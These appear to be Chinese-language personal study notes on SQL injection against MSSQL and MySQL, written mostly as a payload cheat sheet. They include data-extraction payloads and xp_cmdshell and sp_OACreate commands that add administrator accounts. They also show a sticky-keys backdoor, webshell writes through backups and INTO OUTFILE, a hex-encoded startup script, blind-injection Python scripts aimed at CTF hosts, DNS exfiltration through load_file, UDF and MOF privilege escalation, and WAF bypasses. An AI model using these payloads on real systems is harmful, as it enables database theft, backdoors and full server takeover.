SQL注入学习
判断是哪种数据库
如 http://www.xxx.com/news.php?id=10 这个网址,使用and 1=1,and 1=2 判断是否存在注入
还需要判断数据库类型,在网址后面加上单引号,看报错情况,如果显示Microsoft JET Database错误,则是Access数据库,如果显示ODBC类型,则是MSSQL数据库
另一种方法,如果已经判断该地址存在注入,在后面加上 ;–,例如 http://www.xxx.com/news.php?id=10;–,提交网址如果页面返回正常,则是MSSQL数据库,因为MSSQL数据库中, ;和–都是存在的,;用于分离两个语句,而–用于注释, 可是在ACCESS数据库中,;则被当成参数带入查询,所以会报错。
//SQL Server
select 'a'+'b'='ab'
//MySQL
select 'ab'='a' 'b'
select 'ab'=CONCAT('a','b')
//Oracle
select 'ab'='a''b'
select 'ab'=CONCAT('a','b')
//PostgreSQL
select 'ab'='a''b'
select 'ab'=CONCAT('a','b')
MSSQL数据库
参考https://cloud.tencent.com/developer/article/1668918
基础知识及介绍
数据库简介
MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库
mssql有三种权限
sa->最高权限,相当于system db_owner->文件管理,数据库操作等等,相当于user-administrator public->数据库操作权限,相当于guest-users
基础知识
单行注释:--
多行注释:/*......*/
有一个系统自带的库->master
MSSQL中每个库都有一个系统自带表–>sysobjects
此系统表中对我们有用的只有3个字段,**NAME**字段和**XTYPE**字段和**ID**字段
name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表
top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件!
实现mysql中的group_concat函数 使用stuff
SELECT top 1 id, [name] = stuff((SELECT ',' + [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2073058421;
mssql的删除 更新修改 和mysql差不多
MSSQL中常用参数
@@version,查询当前数据库版本
db_name(),查询当前数据库名称
user,查询当前用户
IS_SRVROLEMEMBER(),查询数据库权限。
判断mssql是什么权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));-
假设sql语句为
select * from user where id={id}
查看数据库名称
?id=1 and 1=(select db_name())
获取第一个用户数据库的名称
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
对于 master..sysdatabases 这个意思是这样的:在mssql系统默认数据库master 的系统视图
这里bdid>4 是因为mssql是靠dbid来区分数据库名的!前面4个id号是默认mssql数据库自带的
假设第一个数据库名为test,则查询第二个数据库可以用
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test')
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>5)
查询所有数据库名
?id=1 and 1=(select name from master..sysdatabases for xml path)
for xml path的意思就是将查询结果集以XML形式展现
获取当前网站数据库所使用的第一个表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
xtype=’u’代表是用户创建的表
查询所有表名
?id=1 and 1=(select name from sysobjects for xml path)
我们知道了表名是 users ,那么就可以利用下面的语句来爆 users 下面的列名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))
获取数据
?id=1 and 1=(select top 1 username from users)
想要获取第二个账号 username 的值那么就加一个条件语句 where:
?id=1 and 1=(select top 1 password from users where id=2)
提权
在sa权限下
存在xp_cmdshell (1)测试xp_cmdshell是否可以执行 exec master..xp_cmdshell ‘ver’ 获取操作系统版本 (2)添加管理员用户 添加用户 exec master.dbo.xp_cmdshell ‘net user quan 123456 /add’ 添加至管理员组 exec master.dbo.xp_cmdshell ‘net localgroup administrators quan /add’ 使用sp_OACreate执行命令 1)开启sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
2)使用wscript.shell直接添加系统帐户 查询分离器连接后,xp或2003server系统下使用:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'
其他操作 sp_OACreate替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
需要同时具备sp_oacreate 和sp_oamethod 两个功能组件。
DBA权限下
1、通过备份到网站目录getshell 两种备份方式如下 (1)差异备份
backup database 库名 to disk = 'c:\quan.bak';//完整备份一次(保存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//创建表cmd并插入一句话木马
backup database 库名 to disk='目标位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//进行差异备份
(2)LOG备份 LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份
alter database 数据库名称 set RECOVERY FULL;
create table cmd (a image);
backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack2.asp' --
2、通过备份 文件到启动项提权 (1)先测试xp_cmdshell是否可用
exec master..xp_cmdshell 'ver'
提示权限拒绝,说明是db_owner权限. (2)利用xp_dirtree列目录
exec master..xp_dirtree 'c:\',1,1
(3)查看启动项
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
(4)列数据库
SELECT DB_NAME()
(5)利用url或者sql查询器log备份bat或一句话
alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--
mysql注入学习
参考 https://rainy-autumn.top/index.php/2021/04/12/sql%e6%b3%a8%e5%85%a5%e6%80%bb%e7%bb%93/
类型
报错注入
报错注入的10个函数
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));
盲注
布尔盲注
根据sql执行结果不同页面显示不同判断执行的sql是否正确 通过一个字母一个字母来带出数据 可以利用二分法写脚本
import requests
url="http://488af20f-7098-4dce-adb9-cf7e7d2ccfd9.challenge.ctf.show:8080/api/"
flag=''
i=0
while True:
i+=1
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
#查表名 ctfshow_fl0g,ctfshow_user
#payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段 id,f1ag
#payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload="select group_concat(f1ag) from ctfshow_fl0g"
data={
"username":f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,2)=1#",
"password":"1"
}
rep=requests.post(url,data)
if "密码错误" in rep.json()['msg']:
head=mid+1
else:
tail=mid
if head!=32:
flag+=chr(head)
print(flag)
else:
break
时间盲注
时间盲注是 通过 if() sleep()等函数 如果if中的条件成立 则执行sleep 根据页面响应时间 判断条件是否成立 也可以通过二分法加上requests的timeout结合写脚本
import requests
from time import time
url="http://0c216321-dea8-4208-882e-ac20fc4dc4b5.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
while True:
i+=1
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
#查表ctfshow_flagx,ctfshow_info
#payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段id,flaga,info
#payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
payload="select flaga from ctfshow_flagx"
data={
'ip':f'if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)',
'debug':0
}
try:
r=requests.post(url,data,timeout=1)
tail=mid
except:
head=mid+1
if head!=32:
flag+=chr(head)
print(flag)
else:
break
联合注入
联合注入就是使用union select 首先是 order by 判断字段数 假设字段数为3 使用 union select 1,2,3判断回显位置 然后 union select 1,2,databases()
查数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 过滤information的情况下
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()
查字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
内联
堆叠注入
堆叠查询(Stack Queries)可以依次执行多个 SQL 查询语句,类似 Linux 依次执行多个命令 cd ..; ls。不同的数据库和API 对堆叠查询的支持不一样,如MySQL 、MSSQL、PostgreSQL 本身是支持堆叠查询的,使用 ; 将多个语句分开,但是可能数据库的API 接口不支持,如 PHP的数据库查询接口就有可能不支持。堆叠查询和联合查询的区别在于:堆叠查询可以执行任何 SQL 语句(只要能成功执行,如DELECT、INSERT等操作),联合查询仅支持 SELECT语句,同时两个查询语句的列数要一致。
handler读取数据
;HANDLER ctfshow OPEN;HANDLER ctfshow READ First
;HANDLER ctfshow OPEN;HANDLER ctfshow READ NEXT
预处理读取
‘;prepare a from concat(‘sele’,’ct * from ctfshow_flagasa‘);execute a;#
宽字节注入原理
产生原理 在数据库中使用了宽字符集而WEB中没有考虑这个问题,在WEb层,由于0XBF27是两个字符,在PHP中比如addlsash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0xbf5c是另外一个字符,因此\转义符号会被前边的bf给消掉,单引号由此逃逸用来闭合 解决办法 统一数据库,WEb应用,操作系统所使用的字符集
SQL里边只有update怎么利用
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
修改 password 值为mypass)’ WHERE username=’admin’#
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)'...
绕过waf
空格绕过
引号绕过
1.宽字节 2.如果是在where类似的后边输入库名字 表名字的 可以使用16进制绕过 eg:(select column_name from information_schema.tables where table_name=0x7573657273)
逗号绕过
使用from for绕过 使用join绕过
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
比较符号绕过
使用greatest()、least():(前者返回最大值,后者返回最小值)
or and xor not绕过
数字绕过
=绕过
llike regexp
绕过union,select,where等
大小写,双关键字,内联注释 /!union/
substr过滤
使用一样作用的函数 left right locate
读写文件
读文件
load_file() 1、必须有权限读取并且文件必须完全可读 2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于 max_allowed_packet
?age=-1 union select 1,2,3,4,load_file(‘H:/wamp64/www/233.php’)
-1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)
-1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
load_file还可以发送dns解析请求
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+
写文件
前提条件
知道网站物理路径
secure_file_priv 无限制
网站路径有写入权限
函数 into dumpfile() into outfile()
权限获取
Hash 获取与解密
假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解 在MySQL.user表中
select host, user, password from mysql.user;
Webshell 权限
into outfile写shell
知道网站物理路径
高权限数据库用户
load_file() 开启 即 secure_file_priv 无限制
网站路径有写入权限
查看secure_file_priv是否无限制
show global variables like '%secure_file_priv%';
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
通过下边语句写webshell
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
sqlmap 中可以如下操作:
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"
日志文件写shell
Web 文件夹宽松权限可以写入
Windows 系统下
高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell 修改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
UDF提权
参考https://www.cnblogs.com/litlife/p/9030673.html https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10 自定义函数,是数据库功能的一种扩展。用户通自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便 第一步是加载udf.dll动态链接库
mysql> show variables like '%plugin%';
+---------------+------------------------------+
Variable_name Value
+---------------+------------------------------+
plugin_dir /usr/local/mysql/lib/plugin/
+---------------+------------------------------+
如果不存在的话 可以使用webshll找mysql的按爪给你目录 然后手动创建\lib\plugin 文件夹 查找mysql的安装目录
select @@basedir;
然后通过webshell等方式传入到目标机
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
SELECT sys_eval('ipconfig');
MOF 提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
mof脚本如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
通过sql语句写入文件
select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
启动项提权
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行
Navicat MySQL
目标 MySQL 不允许外连,但是可以上传 PHP 脚本 可以使用navicat自导的tunnel隧道脚本上传到目标网站上 然后进行链接